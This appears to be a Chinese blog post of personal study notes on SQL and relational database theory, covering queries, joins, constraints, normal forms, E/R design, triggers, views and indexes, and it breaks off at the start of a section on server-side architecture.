为了复习数据库的考试~~（其实是预习）~~，我开始学习SQL。但由于我一贯的实用主义思想，既然花费时间去学，它就一定要对我有一定帮助。于是，出于这样的想法以及对自己SQL注入掌握程度的评估，我决定在此之际熟悉一下SQL与SQL注入。

SQL与代数查询语言

SQL（Structured Query Language）是关系型数据库的标准语言，它本质上是一种代数查询语言的实现形式。代数查询语言的核心思想是通过数学中的集合运算（如选择、投影、连接等）来操作数据，而SQL正是将这些抽象的数学概念转化为一种易于理解和使用的编程语言。

当我们想从一个表中筛选出某些符合条件的记录时，SQL的SELECT语句直接用自然语言的逻辑表达了这一需求：

SELECT name, age FROM users WHERE age > 18;

不过，SQL的强大之处远不止于此。它支持复杂的集合操作，比如JOIN可以将多个表的数据关联起来，GROUP BY可以对数据进行分组统计，HAVING可以进一步筛选分组结果。SQL不仅仅是一个简单的查询工具，而是一种灵活的表达方式，能够处理各种复杂的数据需求。

数据库操作

定义关系代数模式

在操作数据库之前，首先需要定义数据的结构——即关系模式。SQL通过CREATE TABLE语句实现这一功能。其基本语法如下：

CREATE TABLE 表名 (
    列名1 数据类型 [约束条件],
    列名2 数据类型 [约束条件],
    ...
    [表级约束条件]
);

定义字段与数据类型

每个字段需要指定数据类型，常见类型包括：

数值类型：INT（整数）、DECIMAL(总位数,小数位)（精确小数）
字符类型：VARCHAR(长度)（可变长度字符串）、CHAR(长度)（定长字符串）
时间类型：DATE（日期）、TIMESTAMP（时间戳）

定义约束

约束条件可直接在字段后声明（列级约束），或在所有字段后声明（表级约束）：

-- 列级约束示例
CREATE TABLE departments (
    id INT PRIMARY KEY,                    -- 列级主键
    name VARCHAR(50) NOT NULL              -- 非空约束
);

-- 表级约束示例
CREATE TABLE employees (
    id INT,
    name VARCHAR(100) NOT NULL,
    salary DECIMAL(10,2) CHECK (salary > 0),
    department_id INT,
    PRIMARY KEY (id),                      -- 表级主键
    FOREIGN KEY (department_id) REFERENCES departments(id) -- 外键
);

修改关系模式

删除关系：
1
DROP TABLE tableName;

修改关系：

ALTER TABLE tableName ADD attributeName TYPE(n);               -- 添加属性
ALTER TABLE tableName DROP attributeName;                      -- 删除属性
ALTER TABLE tableName ADD attributeName TYPE(n) DEFAULT 'defaultValue';  -- 添加有默认值的属性

代数查询语言的核心概念

代数查询语言的基础是关系代数，这是一种数学理论，用于描述如何通过集合运算来操作关系（即表）。SQL的设计正是基于这些理论，它将复杂的数学概念转化为直观的语法，使得用户可以轻松地表达数据操作需求。

选择（Selection）

选择是关系代数中最基本的操作之一，它用于从表中筛选出满足特定条件的行。在SQL中，这通过WHERE子句实现。例如：

SELECT * FROM employees WHERE department = 'Sales';

这条语句会选择employees表中department列值为Sales的所有行。这种操作对应于关系代数中的σ（sigma）操作符，表示选择满足条件的元组。

投影（Projection）

投影用于从表中选择特定的列，忽略其他列。在SQL中，这通过SELECT子句实现。例如：

SELECT name, salary FROM employees;

这条语句会选择employees表中的name和salary列。这种操作对应于关系代数中的π（pi）操作符，表示投影特定的属性。

连接（Join）

连接是关系代数中最强大的操作之一，它用于将两个或多个表中的数据关联起来。在SQL中，这通过JOIN子句实现。例如：

SELECT employees.name, departments.department_name
FROM employees
JOIN departments ON employees.department_id = departments.id;

这条语句会将employees表和departments表通过department_id和id列关联起来，并选择员工的名字和对应的部门名称。这种操作对应于关系代数中的⨝（bowtie）操作符，表示连接两个关系。

笛卡尔积（Cartesian Product）

笛卡尔积是连接的一种特殊情况，它将两个表中的每一行都相互组合。在SQL中，这通过省略JOIN条件实现。例如：

SELECT * FROM employees, departments;

这条语句会生成employees表和departments表的笛卡尔积，即每个员工与每个部门的组合。这种操作在实际应用中很少直接使用，但它是连接操作的基础。

差集（Set Difference）

差集用于找出一个表中有而另一个表中没有的记录。在SQL中，这通过EXCEPT或MINUS操作符实现。例如：

SELECT name FROM employees
EXCEPT
SELECT name FROM managers;

这条语句会选择所有员工中不是经理的名字。这种操作对应于关系代数中的−操作符，表示差集。

并集（Union）

并集用于合并两个表中的记录，并去除重复项。在SQL中，这通过UNION操作符实现。例如：

SELECT name FROM full_time_employees
UNION
SELECT name FROM part_time_employees;

这条语句会选择全职员工和兼职员工的名字，并去除重复项。这种操作对应于关系代数中的∪操作符，表示并集。

交集（Intersection）

交集用于找出两个表中共有的记录。在SQL中，这通过INTERSECT操作符实现。例如：

SELECT name FROM full_time_employees
INTERSECT
SELECT name FROM project_leaders;

这条语句会选择既是全职员工又是项目领导的名字。这种操作对应于关系代数中的∩操作符，表示交集。

Theta连接（Theta Join）

广义的连接操作，允许使用任意比较条件（>, <, >=等），而不仅限于相等判断。例如：

SELECT e.name, m.name AS manager_name
FROM employees e
JOIN employees m ON e.salary > m.salary AND e.manager_id = m.id;

这种连接方式在关系代数中表示为⨝_θ，其中θ可以是任意条件。

重命名（Renaming）

关系代数中使用ρ（rho）操作符对关系或属性进行重命名，SQL中通过AS关键字实现。例如：

列重命名：

SELECT name AS employee_name, salary*12 AS annual_income FROM employees;

这会生成包含别名employee_name和annual_income的结果集。

表重命名（尤其在自连接场景中必需）：

SELECT e1.name, e2.manager 
FROM employees AS e1 
JOIN employees AS e2 ON e1.id = e2.manager_id;

通过表别名e1和e2区分同一表的两个不同角色。

SQL中的操作

1. 投影操作（SELECT 子句）

功能：从表中选取特定列或计算字段，类似于关系代数中的投影运算。

语法：

SELECT [ALL | DISTINCT] column1, expression AS alias, ... FROM table;

关键点：

别名（AS）：为列或表达式赋予临时名称，增强可读性。
1
SELECT price * 0.8 AS discounted_price FROM products;

常量投影：直接输出固定值。

SELECT 'Active' AS status, name FROM users;

DISTINCT：消除重复行。

SELECT DISTINCT country FROM customers;

注意事项：SELECT * 会返回所有列，可能影响性能。

2. 选择操作（WHERE 子句）

功能：过滤满足条件的行，类似于关系代数中的选择运算。
语法：
1
SELECT ... FROM table WHERE condition;

条件类型：

比较运算符：=,<>,<, >,<=, >=

SELECT * FROM employees WHERE salary > 5000;

逻辑运算符：AND, OR,NOT

SELECT * FROM orders WHERE status = 'Shipped' AND total > 100;

范围筛选（BETWEEN）：

SELECT * FROM products WHERE price BETWEEN 10 AND 20;

集合成员（IN）：

SELECT * FROM users WHERE role IN ('Admin', 'Manager');

注意事项：条件顺序可能影响性能，优先使用索引列。

3. 字符串模式匹配（LIKE/NOT LIKE）

功能：通过通配符匹配字符串。

语法：

SELECT ... WHERE column LIKE 'pattern';

通配符：

%：匹配任意长度字符（包括空）。

sql

复制

SELECT * FROM books WHERE title LIKE 'SQL%'; -- 匹配以 SQL 开头

_：匹配单个字符。

SELECT * FROM codes WHERE value LIKE 'A_C'; -- 匹配如 ABC, A1C

转义字符

：使用ESCAPE处理特殊符号。

SELECT * FROM logs WHERE message LIKE '%\%%' ESCAPE '\'; -- 匹配含 % 的文本

大小写敏感性：取决于数据库配置（如 PostgreSQL 默认区分，MySQL 不区分）。

4. NULL 值处理

功能：处理缺失或未知数据。

语法：

SELECT ... WHERE column IS NULL;
SELECT ... WHERE column IS NOT NULL;

关键行为：
- 运算结果：任何与 NULL 的运算结果为 NULL。
  1
  SELECT 5 + NULL; -- 结果为 NULL
- 逻辑判断：NULL = NULL返回 NULL，需用IS NULL。
  1
  SELECT * FROM employees WHERE commission IS NULL;
注意事项：聚合函数（如 SUM, AVG）默认忽略 NULL 值。

5. 输出排序（ORDER BY）

功能：按指定列对结果排序。

语法：

SELECT ... ORDER BY column1 [ASC|DESC], column2 [ASC|DESC];

规则：

升序（ASC）：默认，从小到大排列。

SELECT * FROM products ORDER BY price ASC;

降序（DESC）：从大到小排列。

SELECT * FROM sales ORDER BY sale_date DESC;

多列排序：按优先级依次排序。

SELECT * FROM employees ORDER BY department ASC, salary DESC;

6. 多表查询与连接

功能：从多个表中组合数据。

笛卡尔积（隐式连接）：

SELECT * FROM table1, table2; -- 返回所有可能的行组合

显式连接（JOIN）：
- 内连接（INNER JOIN）：仅返回匹配的行。
  1
  SELECT * FROM orders JOIN customers ON orders.customer_id = customers.id;
- 自然连接（NATURAL JOIN）：自动匹配同名同类型列。
  1
  SELECT * FROM departments NATURAL JOIN employees;
- 外连接：
  - 左外连接（LEFT JOIN）：保留左表所有行，右表无匹配时填充 NULL。
    1
    SELECT * FROM students LEFT JOIN scores ON students.id = scores.student_id;
  - 右外连接（RIGHT JOIN）：保留右表所有行，左表无匹配时填充 NULL。
  - 全外连接（FULL JOIN）：保留两侧所有行。

自连接：同一表连接自身，需使用别名。

SELECT a.name AS employee, b.name AS manager 
FROM employees a 
LEFT JOIN employees b ON a.manager_id = b.id;

7. 集合操作（UNION, INTERSECT, EXCEPT）

功能：合并多个查询结果。

语法：

SELECT ... UNION [ALL] SELECT ...;
SELECT ... INTERSECT SELECT ...;
SELECT ... EXCEPT SELECT ...;

规则：

UNION：合并结果并去重（除非使用UNION ALL）。

SELECT name FROM employees 
UNION 
SELECT name FROM contractors;

INTERSECT：返回两个查询的交集。

SELECT id FROM tableA 
INTERSECT 
SELECT id FROM tableB;

EXCEPT：返回第一个查询有但第二个查询无的结果。

SELECT id FROM orders 
EXCEPT 
SELECT id FROM cancelled_orders;

注意事项：参与集合操作的查询必须列数和类型兼容。

8. 子查询（Subqueries）

功能：嵌套查询作为其他查询的一部分。

类型：

标量子查询：返回单个值，用于 WHERE 或 SELECT。

SELECT name 
FROM employees 
WHERE salary > (SELECT AVG(salary) FROM employees);

行子查询：返回一行，用于比较。

SELECT * 
FROM products 
WHERE (price, stock) = (SELECT MAX(price), MIN(stock) FROM products);

表子查询：返回多行多列，用于 FROM 或 JOIN。

SELECT dept_name, avg_salary 
FROM (SELECT department_id, AVG(salary) AS avg_salary FROM employees GROUP BY department_id) AS dept_stats;

相关子查询：引用外层查询的变量。

SELECT name 
FROM employees e 
WHERE salary > (SELECT AVG(salary) FROM employees WHERE department_id = e.department_id);

运算符：

EXISTS：检查子查询是否返回结果。

SELECT * 
FROM departments d 
WHERE EXISTS (SELECT 1 FROM employees WHERE department_id = d.id);

IN/NOT IN：判断值是否在子查询结果中。

SELECT * 
FROM products 
WHERE category_id IN (SELECT id FROM categories WHERE name LIKE '%Electronics%');

9. 分组与聚集（GROUP BY, 聚合函数）

功能：将数据按列分组并计算统计值。

语法：

SELECT column1, COUNT(*) 
FROM table 
GROUP BY column1 
HAVING condition;

聚合函数：
- COUNT(*)：统计行数（包括 NULL）。
- COUNT(column)：统计非 NULL 值的数量。
- SUM / AVG：求和或平均值（忽略 NULL）。
- MIN / MAX：找最小或最大值。

示例：

SELECT department, AVG(salary) AS avg_salary 
FROM employees 
GROUP BY department 
HAVING AVG(salary) > 5000;

注意事项：
- GROUP BY 后的列必须出现在 SELECT 中（除非是聚合函数）。
- HAVING 用于过滤分组后的结果，而 WHERE 过滤原始数据。

10. 数据更新操作（INSERT, DELETE, UPDATE）

插入数据（INSERT）：

INSERT INTO table (column1, column2) 
VALUES (value1, value2), (value3, value4);

批量插入：

INSERT INTO orders (product_id, quantity) 
SELECT id, 10 FROM products WHERE stock > 100;

删除数据（DELETE）：

DELETE FROM table WHERE condition; -- 删除符合条件的行
DELETE FROM logs; -- 删除所有行（谨慎使用！）

更新数据（UPDATE）：

UPDATE table 
SET column1 = value1, column2 = value2 
WHERE condition;

表达式更新：

UPDATE employees 
SET salary = salary * 1.05 
WHERE performance_rating > 8;

11. 事务控制（Transactions）

功能：确保一组操作原子性执行（全部成功或全部回滚）。

语法：

START TRANSACTION;
-- 执行操作（INSERT/UPDATE/DELETE）
COMMIT; -- 提交事务
ROLLBACK; -- 回滚事务

隔离级别：
- READ UNCOMMITTED：允许读取未提交的数据（可能脏读）。
- READ COMMITTED：仅读取已提交数据（避免脏读）。
- REPEATABLE READ：保证同一事务内多次读取结果一致（避免不可重复读）。
- SERIALIZABLE：最高隔离级别，完全串行化执行（避免幻读）。

设置隔离级别：

SET TRANSACTION ISOLATION LEVEL READ COMMITTED;

12. 高级连接操作

交叉连接（CROSS JOIN）：

SELECT * FROM table1 CROSS JOIN table2; -- 显式笛卡尔积

Theta 连接：使用任意条件连接。

SELECT * 
FROM employees e 
JOIN departments d ON e.salary > d.budget * 0.1;

自连接：通过别名连接同一表。

SELECT a.name AS employee, b.name AS manager 
FROM employees a 
LEFT JOIN employees b ON a.manager_id = b.id;

数据库约束

在数据库设计中，约束（Constraints）是确保数据完整性和一致性的关键机制。它们通过限制表中数据的输入和操作，防止无效或不一致的数据进入数据库。约束可以分为以下几类：

主键约束（Primary Key）

主键约束用于唯一标识表中的每一行记录。一个表只能有一个主键，且主键列的值不能为NULL。

定义：主键约束确保表中每行数据的唯一性。

SQL实现：

CREATE TABLE employees (
    id INT PRIMARY KEY,
    name VARCHAR(100),
    department VARCHAR(50)
);

或者：

ALTER TABLE employees
ADD PRIMARY KEY (id);

外键约束（Foreign Key）

外键约束用于建立两个表之间的关系，确保引用完整性。外键列的值必须是另一个表中主键列的值，或者为NULL。

定义：外键约束确保数据之间的关联关系。

SQL实现：

CREATE TABLE orders (
    order_id INT PRIMARY KEY,
    employee_id INT,
    amount DECIMAL(10, 2),
    FOREIGN KEY (employee_id) REFERENCES employees(id)
);

或者：

ALTER TABLE orders
ADD FOREIGN KEY (employee_id) REFERENCES employees(id);

唯一约束（Unique）

唯一约束确保表中某一列或列组合的值是唯一的，但允许NULL值。

定义：唯一约束确保列值的唯一性。

SQL实现：

CREATE TABLE users (
    user_id INT PRIMARY KEY,
    email VARCHAR(100) UNIQUE
);

或者：

ALTER TABLE users
ADD UNIQUE (email);

检查约束（Check）

检查约束用于限制列中数据的范围或格式。

定义：检查约束确保列值满足特定条件。

SQL实现：

CREATE TABLE employees (
    id INT PRIMARY KEY,
    salary DECIMAL(10, 2) CHECK (salary > 0)
);

或者：

ALTER TABLE employees
ADD CHECK (salary > 0);

默认值约束（Default）

默认值约束为列指定一个默认值，当插入新行时，如果没有提供该列的值，则使用默认值。

定义：默认值约束为列提供默认值。

SQL实现：

CREATE TABLE users (
    user_id INT PRIMARY KEY,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

或者：

ALTER TABLE users
ALTER COLUMN created_at SET DEFAULT CURRENT_TIMESTAMP;

非空约束（Not Null）

非空约束确保列的值不能为空。

定义：非空约束确保列值不为空。

SQL实现：

CREATE TABLE users (
    user_id INT PRIMARY KEY,
    name VARCHAR(100) NOT NULL
);

或者：

ALTER TABLE users
ALTER COLUMN name SET NOT NULL;

函数依赖

函数依赖是关系数据库理论中的核心概念之一，用于描述表中属性之间的关系。它定义了一个属性或属性组合如何唯一确定另一个属性的值。函数依赖是数据库规范化（Normalization）的基础，帮助设计者消除数据冗余和异常。

1. 函数依赖的定义

设 R 是一个关系模式，X 和 Y 是 R 的属性集。如果对于 R 的每一个可能的关系 r，r 中任意两个元组 t 和 s，只要 t[X]=s[X]，就有 t[Y]=s[Y]，则称 Y 函数依赖于 X，记作 X→Y。

平凡函数依赖（Trivial FD）：如果 Y⊆X，则 X→Y 是平凡的。例如，{A,B}→A 是平凡的。
非平凡函数依赖（Non-trivial FD）：如果 Y⊈X，则 X→Y 是非平凡的。例如，A→B 是非平凡的。

2. 函数依赖的分类

2.1 完全函数依赖（Full Functional Dependency）

如果 X→Y，并且对于 X 的任何一个真子集 X′，都有 X′↛Y，则称 Y 完全函数依赖于 X。

示例：

CREATE TABLE students (
    student_id INT PRIMARY KEY,
    name VARCHAR(100),
    major_id INT,
    major_name VARCHAR(50)
);

假设 major_id → major_name，并且 student_id → major_id，则 student_id → major_name 是完全函数依赖。

2.2 部分函数依赖（Partial Functional Dependency）

如果 X→Y，但存在 X 的一个真子集 X′，使得 X′→Y，则称 Y 部分函数依赖于 X。

示例：

CREATE TABLE enrollments (
    student_id INT,
    course_id INT,
    grade DECIMAL(3, 2),
    PRIMARY KEY (student_id, course_id)
);

假设 student_id → name 和 course_id → instructor，则 student_id, course_id → name, instructor 是部分函数依赖。

2.3 传递函数依赖（Transitive Functional Dependency）

如果 X→Y（非平凡），且 Y↛X，同时 Y→Z，则称 Z 传递函数依赖于 X。

示例：

CREATE TABLE departments (
    dept_id INT PRIMARY KEY,
    dept_name VARCHAR(50),
    manager_id INT
);

如果 dept_id → dept_name 和 dept_name → manager_id，则 dept_id → manager_id 是传递函数依赖。

3. 函数依赖的闭包

函数依赖的闭包（Closure）是指由一组函数依赖 F 推导出的所有函数依赖的集合。计算闭包是数据库规范化的重要步骤。

计算闭包的算法：

初始化 X+=X。
遍历 F 中的每个函数依赖 A→B，如果 A⊆X+，则将 B 添加到 X+ 中。
重复步骤 2，直到 X+ 不再变化。

示例：假设 F={A→B,B→C,C→D}，计算 A+：

初始 A+={A}
A→B，所以 A+={A,B}
B→C，所以 A+={A,B,C}
C→D，所以 A+={A,B,C,D}

4. 候选键（Candidate Key）

候选键是关系模式中能够唯一标识元组的最小属性集。通过计算函数依赖的闭包，可以确定候选键。

示例：假设关系模式 R(A,B,C,D)，函数依赖集 F={A→B,B→C,C→D}：

A+={A,B,C,D}，因此 A 是候选键。

5. 函数依赖与数据库规范化

函数依赖是数据库规范化理论的基础。通过分析函数依赖，可以将关系模式分解为更简单的模式，从而消除数据冗余和操作异常。

在关系数据库设计中，范式（Normal Forms） 是用于减少数据冗余、提高数据一致性的核心理论。

1. 第一范式（1NF）

核心要求：

所有属性都是原子性的（不可再分的最小数据单元）。
每个列的值必须是单一值，不能包含重复组或多值。

解决的问题：

消除重复的列和嵌套表结构。

示例：
错误设计（非1NF）：

学生ID	课程
1001	数学, 物理

（课程列包含多值）

修正为1NF：

学生ID	课程
1001	数学
1001	物理

2. 第二范式（2NF）

前提：已满足1NF。
核心要求：

消除部分函数依赖（非主属性完全依赖于候选键）。

解决的问题：

当存在复合主键时，非主属性不能仅依赖部分主键。

修正为2NF：

选课表（学生ID, 课程ID, 成绩）
课程表（课程ID, 课程名称）

3. 第三范式（3NF）

前提：已满足2NF。
核心要求：

消除传递函数依赖（非主属性不能依赖其他非主属性）。

解决的问题：

确保非主属性直接依赖于候选键，而不是间接依赖。

示例：
错误设计（违反3NF）：
| 员工ID | 部门 | 部门经理 |
（假设：员工ID → 部门，部门 → 部门经理）

修正为3NF：

员工表（员工ID, 部门）
部门表（部门, 部门经理）

Boyce-Codd范式（BCNF）

前提：已满足3NF。
核心要求：

所有函数依赖的决定因素（左侧）必须是候选键（超键）。
（即，如果存在X → Y，X必须是候选键）

解决的问题：

消除主属性对非主属性的依赖（3NF未完全解决的特殊情况）。

示例：
错误设计（满足3NF但违反BCNF）：
| 学生ID | 课程 | 教室 |
假设：每个教室只上一门课程，课程 → 教室，但课程不是候选键。

修正为BCNF：

选课表（学生ID, 课程）
课程教室表（课程, 教室）

第四范式（4NF）

前提：已满足BCNF。
核心要求：

消除多值依赖（Multi-Valued Dependency, MVD）。
（即，若存在X →→ Y，则X是超键，或Y是X的子集）

解决的问题：

处理多个独立的多值属性共存的情况。

示例：
错误设计（违反4NF）：
| 员工ID | 技能 | 语言 |
（技能和语言是独立的多值属性）

修正为4NF：

员工技能表（员工ID, 技能）
员工语言表（员工ID, 语言）

第五范式（5NF）/ 投影-连接范式（PJNF）

前提：已满足4NF。
核心要求：

消除连接依赖（Join Dependency），即表必须能无损分解为多个子表，且通过自然连接恢复原表。

解决的问题：

处理复杂场景中无法通过单一分解消除冗余的情况。

示例：
错误设计（违反5NF）：
| 供应商 | 零件 | 项目 |
假设供应商可为多个项目供应多种零件，需通过三张两两关联的表分解。

范式总结

范式	核心规则	解决的问题
1NF	属性原子性	多值、重复组
2NF	消除部分依赖	非主属性对部分主键的依赖
3NF	消除传递依赖	非主属性间的间接依赖
BCNF	所有依赖的决定因素是候选键	主属性对非主属性的依赖
4NF	消除多值依赖	独立多值属性共存
5NF	消除连接依赖	复杂冗余场景

6. 函数依赖的实际应用

在SQL中，函数依赖可以通过约束（如主键、唯一键、外键）来体现。例如：

CREATE TABLE employees (
    employee_id INT PRIMARY KEY,  -- employee_id → name, department
    name VARCHAR(100),
    department_id INT,
    FOREIGN KEY (department_id) REFERENCES departments(dept_id)  -- department_id → dept_name
);

数据库设计

高级数据库模型（E/R模型）

1. E/R模型基础

实体集（Entity Set）：表示同类实体的集合，用矩形表示。例如，学生实体集包含所有学生的信息。
属性（Attribute）：描述实体的特征，用椭圆表示。主键属性带下划线，如学生的学号。
联系（Relationship）：连接实体集的关联，用菱形表示。例如，选课联系连接学生和课程实体集。

2. 二元联系的多样性

一对一（1:1）：双方实体最多关联一个对方实体。例如，员工与工位的联系（每个员工一个工位，反之亦然），箭头双向指向。
一对多（1:N）：例如，部门与员工的联系（一个部门有多个员工），箭头指向员工（多对一）。
多对多（M:N）：例如，学生与课程的选课联系，无箭头。

3. 多路联系与角色

多路联系：涉及多个实体集的联系。例如，合同联系涉及影星、电影和电影公司，表示某影星在特定电影中只签约一家公司。
角色：同一实体集在不同联系中扮演不同角色。例如，员工在管理联系中可同时作为“经理”和“下属”。

4. 联系的属性

联系可拥有属性。例如，选课联系的成绩属性。若属性复杂，可创建新实体集（如注册记录）。

5. 子类（ISA联系）

子类继承父类的属性和联系，用三角形表示。例如，员工的子类小时工（有小时工资）和正式员工（有月薪）。

6. 设计原则

忠实性：模型需准确反映现实需求。例如，若学生可选多门课程，联系必须为多对多。
避免冗余：不重复存储数据。例如，不应在学生表中重复存储课程信息。
简单性：避免过度复杂。例如，若实体集间存在多个相似联系，考虑合并。

7. E/R模型中的约束

键约束：主键唯一标识实体。例如，学号是学生的主键。
参照完整性：箭头表示存在依赖。例如，订单必须指向存在的客户。
度约束：限制参与联系的数量。例如，项目最多由3个部门负责。

8. 弱实体集

依赖其他实体集存在的实体，主键包含父实体集的主键。例如，订单项的主键为订单ID（来自订单）和项编号。

9. 从E/R图到关系设计

实体集转换：每个实体集转为表，属性为列。例如，学生表包含学号（主键）、姓名等。
联系转换：
- 多对多：单独建表，包含双方主键及联系属性。例如，选课表含学号、课程号和成绩。
- 多对一/一对一：将外键置于“多”方表中。例如，员工表中添加部门ID作为外键。
弱实体集处理：合并父实体主键。例如，订单项表的主键为订单ID和项编号，外键引用订单表。
子类处理：
- 方案1：父表和子表分开，子表含父表主键。如员工表和小时工表（含员工ID和小时工资）。
- 方案2：合并所有属性到父表，用类型字段区分。例如，员工表含员工类型字段，小时工资和月薪允许NULL。

10. 示例：电影合同系统

E/R图：影星、电影、电影公司通过合同联系（三元联系）。
关系模式：
- 影星(影星ID, 姓名)
- 电影(电影ID, 片名)
- 电影公司(公司ID, 名称)
- 合同(影星ID, 电影ID, 公司ID, 签约日期)
  （主键为影星ID和电影ID，确保每影星每电影唯一签约）

11. 关键注意事项

外键约束：确保数据完整性。例如，订单项的订单ID必须存在于订单表。
冗余检查：避免在多表中重复相同数据，如不分别在员工和部门表中存储部门名称。
性能优化：合理选择是否将联系合并到实体表中（如多对一联系可减少表连接操作）。

约束与触发器

一、约束（Constraints）

约束是数据库管理系统（DBMS）强制实施的数据规则，用于维护数据完整性。

1. 键约束（Key Constraints）

主键（PRIMARY KEY）
唯一标识元组，不允许空值（NOT NULL）。

语法示例：
1
2
3
4
CREATE TABLE Student (
id INT PRIMARY KEY,
name VARCHAR(50)
);
唯一键（UNIQUE）
允许空值，但非空值必须唯一。
与主键区别：一个表只能有一个主键，可以有多个唯一键。

2. 外键（FOREIGN KEY）

定义与要求
指向另一个表的主键或唯一键，确保参照完整性。示例：

CREATE TABLE Orders (
  order_id INT PRIMARY KEY,
  user_id INT REFERENCES Users(id)
);

违例处理策略

策略类型	说明
默认拒绝	删除/更新被参照表的键时，若存在引用则拒绝操作（默认行为）
级联（CASCADE）	同步删除/更新引用表中的相关行
置空（SET NULL）	将引用列设为NULL（要求该列允许NULL）

语法示例：

FOREIGN KEY (user_id) REFERENCES Users(id) 
  ON DELETE CASCADE 
  ON UPDATE SET NULL

3. 延迟约束检查（Deferred Constraints）

问题场景
循环依赖（如A表外键指向B表，B表外键指向A表）时，插入顺序无法满足约束。

解决方案

-- 延迟检查到事务提交时
ALTER TABLE A 
  ADD CONSTRAINT fk_b 
  FOREIGN KEY (b_id) REFERENCES B(id) 
  DEFERRABLE INITIALLY DEFERRED;

4. 属性与元组约束

非空约束（NOT NULL）
强制属性值不为空，影响外键的级联置空策略可行性。

基于属性的CHECK
限制单个属性的取值范围。示例：

CREATE TABLE Product (
  price DECIMAL CHECK (price > 0)
);

基于元组的CHECK
限制元组内多个属性的关系。示例：

CREATE TABLE Employee (
  salary DECIMAL,
  bonus DECIMAL,
  CHECK (bonus < salary * 0.2)
);

5. 断言（Assertions）

全局约束

跨表的复杂条件，但实际DBMS支持较少（如PostgreSQL不支持）。示例：

CREATE ASSERTION NoManagerOverlap 
  CHECK (
    NOT EXISTS (
      SELECT * FROM Dept D1, Dept D2 
      WHERE D1.manager = D2.manager 
        AND D1.id <> D2.id
    )
  );

二、触发器（Triggers）

触发器是事件驱动的自动化规则，用于处理复杂业务逻辑。

1. 核心结构

ECA模型
- 事件（Event）：INSERT/UPDATE/DELETE
- 条件（Condition）：可选的WHEN子句
- 动作（Action）：触发执行的SQL语句
行级 vs 语句级触发器

类型触发频率访问新旧值方式

行级触发器每行修改触发一次 NEW.column / OLD.column

语句级触发器整个SQL语句完成后触发通过临时表（如NEW_TABLE）

2. 语法示例

CREATE TRIGGER CheckStock 
BEFORE INSERT ON Orders 
FOR EACH ROW 
WHEN (NEW.quantity > (SELECT stock FROM Inventory WHERE product_id = NEW.product_id))
BEGIN
  RAISE_APPLICATION_ERROR(-20000, '库存不足');
END;

3. 关键特性

执行时机
- BEFORE：在事件发生前执行（如数据验证）
- AFTER：在事件发生后执行（如审计日志）
- INSTEAD OF：替代视图的默认操作
引用新旧值
- INSERT操作：仅能访问NEW值
- DELETE操作：仅能访问OLD值
- UPDATE操作：可访问OLD和NEW值

4. 常见应用场景

数据审计
记录关键表的修改历史：

CREATE TRIGGER LogSalaryChange 
AFTER UPDATE OF salary ON Employees 
FOR EACH ROW 
BEGIN
  INSERT INTO AuditLog (change_date, emp_id, old_salary, new_salary) 
  VALUES (SYSDATE, :OLD.emp_id, :OLD.salary, :NEW.salary);
END;

级联业务逻辑
如订单支付后自动更新库存：

CREATE TRIGGER UpdateInventory 
AFTER INSERT ON Payments 
FOR EACH ROW 
BEGIN
  UPDATE Inventory 
  SET stock = stock - (SELECT quantity FROM Orders WHERE order_id = :NEW.order_id) 
  WHERE product_id = (SELECT product_id FROM Orders WHERE order_id = :NEW.order_id);
END;

三、约束与触发器的对比

特性	约束（Constraints）	触发器（Triggers）
执行时机	立即或延迟检查	事件驱动（前/后/替代）
复杂性支持	简单逻辑（如唯一性、范围）	复杂业务逻辑（如跨表校验）
性能影响	高效（DBMS优化）	可能较慢（需执行自定义代码）
维护难度	声明式，易维护	过程式，需调试代码
适用场景	数据完整性保障	业务规则自动化

视图与索引

1. 视图（View）

定义：
- 视图是基于表或其他视图的查询所定义的虚拟关系，不实际存储数据。
- 分类：
  - 虚拟视图：仅保存查询定义，查询时动态生成结果。
  - 物化视图：实际存储数据，通过空间换时间提高性能。

创建语法：

CREATE [MATERIALIZED] VIEW 视图名 [(属性别名)] AS 查询语句;

默认创建虚拟视图，物化视图需显式指定 MATERIALIZED。

示例：创建虚拟视图显示部门为“IT”的员工：

CREATE VIEW IT_Employees AS
SELECT id, name FROM Employees WHERE dept = 'IT';

视图更新：
- 可更新视图条件：
  1. 基于单个基本表。
  2. SELECT 包含足够属性（如主键）。
  3. WHERE 子句不引用当前基本表的子查询。
  4. 无聚合函数、分组或去重操作。
- 更新操作的影响：
  - 插入：向基本表插入数据，未在视图中出现的列设为 NULL（需允许 NULL）。
  - 删除：删除基本表中满足视图条件的行。
  - 更新：修改基本表中满足视图条件的行。
- 示例：若IT_Employees包含主键id，则可更新：
  1
  UPDATE IT_Employees SET name = 'Alice' WHERE id = 1;
视图删除：
1
DROP VIEW 视图名;
- 若基本表被删除，依赖的视图将失效，需手动清理。
物化视图维护：
- 增量维护：跟踪基本表变动（如日志），仅更新受影响部分。
- 定期维护：手动或定时全量刷新，可能数据延迟。
- 示例（Oracle）：
  1
  2
  3
  CREATE MATERIALIZED VIEW Sales_Summary
  REFRESH FAST ON COMMIT AS
  SELECT product, SUM(amount) FROM Sales GROUP BY product;

2. 索引（Index）

定义：
- 索引是加速查询的数据结构（如B-树），通过减少磁盘I/O提升性能。
- 适用场景：高频查询、高选择性（如唯一键）、范围查询。

创建与删除：

CREATE INDEX 索引名 ON 表名 (列1, 列2...);
DROP INDEX 索引名;

示例：为Employees表的dept 列创建索引：
1
CREATE INDEX idx_dept ON Employees(dept);

索引选择策略：
- 查询频次：优先为高频查询的列建索引。
- 更新代价：索引会降低插入/删除/更新速度。
- 数据分布：高基数列（如唯一值多）更适合索引。
代价模型：
- 查询代价：磁盘页读取次数是关键。
- 更新代价：需维护索引结构，如插入时更新B-树。
自动索引调优：
- 工具（如MySQL的 EXPLAIN、SQL Server的DTA）分析查询模式，推荐最优索引。
- 示例：调优顾问可能建议为 WHERE dept='IT' 创建索引。

3. 关键对比

特性	虚拟视图	物化视图	索引
存储	不存储数据，动态计算	存储实际数据	存储键值与指针
更新影响	每次查询重新计算	需维护（增量/定期）	增删改需维护结构
适用场景	简化复杂查询、权限控制	高频复杂查询，容忍数据延迟	加速查询，尤其是等值/范围
维护成本	低	高（存储+维护）	中（影响写操作）

服务器环境下的 SQL

一、三层体系结构 (Three-Tier Architecture)

三层体系结构是服务器端应用设计的核心模式，将系统分为三个逻辑层次，各司其职：

Web 服务器（表示层）：
- 作用：直接与客户端（如浏览器）交互，处理 HTTP 请求/响应。
- 示例工具：Nginx、Apache。
- 特点：轻量级，主要负责静态资源服务和请求转发。
应用服务器（业务逻辑层）：
- 作用：执行业务逻辑（如订单处理、用户验证）。
